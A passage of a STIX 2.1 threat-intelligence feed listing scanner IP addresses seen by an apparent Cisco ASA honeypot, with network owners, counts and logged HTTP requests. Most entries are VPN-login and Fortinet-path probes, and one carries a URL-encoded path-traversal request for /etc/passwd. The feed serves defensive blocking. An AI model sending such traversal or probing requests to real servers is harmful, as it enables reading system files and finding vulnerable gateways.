          "last_seen": "2026-04-24T01:37:05.063Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 206264,
          "as_org": "Amarutu Technology Ltd",
          "event_types": [
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /remote/login HTTP/1.1\" 404 - geo: US; ASN 40676 (Psychz Networks)",
      "id": "indicator--909e7c8e-58e1-43df-9856-b74b928024dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '108.181.56.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T15:20:10.000Z",
      "valid_until": "2026-05-09T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-07T10:24:41.130Z",
          "last_seen": "2026-04-08T06:02:45.830Z",
          "country": "United States",
          "country_code": "US",
          "asn": 40676,
          "as_org": "Psychz Networks",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /RDWeb/ HTTP/1.1\" 404 -",
            "\"GET /cgi-bin/welcome HTTP/1.1\" 404 -",
            "\"GET /remote/login HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--a89a0a3e-4286-4200-9b8d-f529b5b10e70",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '40.124.173.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T17:20:11.000Z",
      "valid_until": "2026-05-09T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-07T16:52:47.131Z",
          "last_seen": "2026-04-07T16:52:50.135Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T18:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '16.58.56.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T18:20:15.000Z",
      "valid_until": "2026-05-09T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-07T17:52:39.980Z",
          "last_seen": "2026-04-18T16:49:14.271Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--2cad1e8e-d6c1-4405-87f0-fefd0c342dcc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '152.32.207.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T19:20:10.000Z",
      "valid_until": "2026-05-09T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-07T18:35:56.392Z",
          "last_seen": "2026-04-07T18:36:39.103Z",
          "country": "United States",
          "country_code": "US",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--8a305ec8-4a85-4445-a7a2-20fd03e8e60b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T00:20:05.000Z",
      "valid_until": "2026-05-10T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-07T23:54:05.663Z",
          "last_seen": "2026-04-07T23:56:57.467Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: RU; ASN 210259 (LLC Applied Computational Technologies)",
      "id": "indicator--221c2636-d37a-4ec1-a6c0-678c58f6dcf5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '81.29.142.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T03:20:05.000Z",
      "valid_until": "2026-05-10T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-08T03:02:07.108Z",
          "last_seen": "2026-04-26T22:18:51.445Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 210259,
          "as_org": "LLC Applied Computational Technologies",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T08:20:21.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4ea05228-b316-4d56-a5d0-cffdabc7438c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:20:21.000Z",
      "valid_until": "2026-05-10T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-08T07:47:26.924Z",
          "last_seen": "2026-04-08T07:53:53.624Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T08:20:21.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4a77925e-372b-420f-889e-999a12a5e080",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:20:21.000Z",
      "valid_until": "2026-05-10T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-08T07:51:24.089Z",
          "last_seen": "2026-04-08T07:52:01.552Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T08:20:21.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--70be63ff-4bcd-45a6-9a92-d005acaccec1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:20:21.000Z",
      "valid_until": "2026-05-10T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-08T07:49:23.272Z",
          "last_seen": "2026-04-08T07:49:23.272Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T08:20:21.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e99a4e82-0c50-434f-b05b-d4f1cc6f6e6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:20:21.000Z",
      "valid_until": "2026-05-10T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-08T07:49:59.833Z",
          "last_seen": "2026-04-08T07:49:59.833Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T08:20:21.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4be41661-b202-49ae-8083-98dfdedadaf8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:20:21.000Z",
      "valid_until": "2026-05-10T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-08T07:51:41.420Z",
          "last_seen": "2026-04-08T07:51:41.420Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T08:20:21.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--797dd441-1c9b-446b-a97d-40734e0e0df3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:20:21.000Z",
      "valid_until": "2026-05-10T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-08T07:51:54.741Z",
          "last_seen": "2026-04-08T07:51:54.741Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T08:20:21.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--666bd3fe-2f3b-429e-a39b-529294507d9b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:20:21.000Z",
      "valid_until": "2026-05-10T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-08T07:51:36.901Z",
          "last_seen": "2026-04-08T07:51:36.901Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T08:20:21.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c10c39fd-ec6f-48c6-ab4b-d9ba04b07cc3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:20:21.000Z",
      "valid_until": "2026-05-10T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-08T07:51:58.917Z",
          "last_seen": "2026-04-08T07:51:58.917Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--f9659ef4-3851-4a9d-bc80-50699585eb18",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:20:10.000Z",
      "valid_until": "2026-05-10T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-08T09:09:54.588Z",
          "last_seen": "2026-04-08T09:10:03.290Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /+webvpn+/index.html HTTP/1.1\" 200 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--27e9d52c-fa01-4108-bdef-1ca22fda8998",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:20:10.000Z",
      "valid_until": "2026-05-10T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-08T08:44:56.965Z",
          "last_seen": "2026-04-08T08:44:59.967Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4300c9c0-abc9-4924-9405-06aed7722c68",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:20:10.000Z",
      "valid_until": "2026-05-10T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T09:10:24.911Z",
          "last_seen": "2026-04-30T01:59:01.203Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2d4e27a6-d7bd-4a72-91a7-661736fda2ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:20:10.000Z",
      "valid_until": "2026-05-10T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T09:10:01.644Z",
          "last_seen": "2026-04-24T15:37:07.237Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--770c6ed4-d95a-4047-920a-ebdbd8f76259",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:20:10.000Z",
      "valid_until": "2026-05-10T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T09:12:24.020Z",
          "last_seen": "2026-04-29T09:49:57.122Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4d122c61-0396-486b-8563-6dba3ab9dce6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:20:10.000Z",
      "valid_until": "2026-05-10T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-08T09:09:18.611Z",
          "last_seen": "2026-04-08T09:09:26.918Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--0e18d292-8864-4077-b061-120dc026f243",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '69.55.49.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
